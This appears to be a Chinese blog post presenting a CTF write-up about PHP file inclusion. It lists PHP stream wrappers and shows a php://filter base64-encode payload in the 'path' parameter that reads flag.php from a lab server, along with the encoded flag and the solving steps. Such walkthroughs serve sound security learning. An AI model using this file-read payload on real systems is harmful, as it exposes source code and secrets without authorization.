您当前的位置: 首页 >  php

星球守护者

暂无认证

  • 5浏览

    0关注

    641博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

CTF(phpinfo)---使用封装协议读取PHP协议

星球守护者 发布时间:2020-12-14 19:27:22 ,浏览量:5

文章目录
      • 知识点---文件包含---使用php封装协议
      • 方法---使用封装协议读取PHP文件
          • 访问封装协议
      • Ctf案例
          • 第一步 访问ctf地址
          • 第二步 发现Phoinfo,并且是path=,考虑文件包含漏洞
          • 第三步 通过扫描,发现flag.php,但是无法直接访问
          • 第四步 利用php封装协议
          • 第五步 将读取的base64的数据,进行解密
          • 第六步 提交flag
      • 摘抄

知识点—文件包含—使用php封装协议
  • PHP 带有很多内置 URL 风格的封装协议
  • 可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。
  • 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
file://— 访问本地文件系统http://— 访问 HTTP(s) 网址ftp://— 访问 FTP(s) URLsphp://— 访问各个输入/输出流(I/O streams)zlib://— 压缩流data://— 数据(RFC 2397)glob://— 查找匹配的文件路径模式phar://— PHP 归档ssh2://— Secure Shell 2rar://— RARogg://— 音频流expect://— 处理交互式的流 方法—使用封装协议读取PHP文件 访问封装协议
 http://rt.ichunqiu.com:8002/index.php?path=php://filter/read=convert.base64-encode/resource=flag.php

访问url,得到经过base64加密后的字符串:

PD9waHAKJGZsYWcgPSAnZmxhZ3s0ZTY5NGRjMy1jNDE4LTRhYzQtODA4OC1lYjVlNzM4Y2JjN2V9JzsK

这段代码就是Base64加密后的PHP源代码,经过解密后就可以得到其原本的“样貌”

Ctf案例 第一步 访问ctf地址

在这里插入图片描述

第二步 发现Phoinfo,并且是path=,考虑文件包含漏洞

在这里插入图片描述 在这里插入图片描述

第三步 通过扫描,发现flag.php,但是无法直接访问

在这里插入图片描述 在这里插入图片描述

在这里插入图片描述

第四步 利用php封装协议

文件包含:

http://rt.ichunqiu.com:8002/index.php?path=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

第五步 将读取的base64的数据,进行解密

在这里插入图片描述

在这里插入图片描述

第六步 提交flag

在这里插入图片描述 在这里插入图片描述

摘抄

在这烟尘人间,

并非俗不可耐索然无味,

冬日暖阳,夏日蝉鸣都显可爱。

关注
打赏
1662051426
查看更多评论
立即登录/注册

微信扫码登录

0.0418s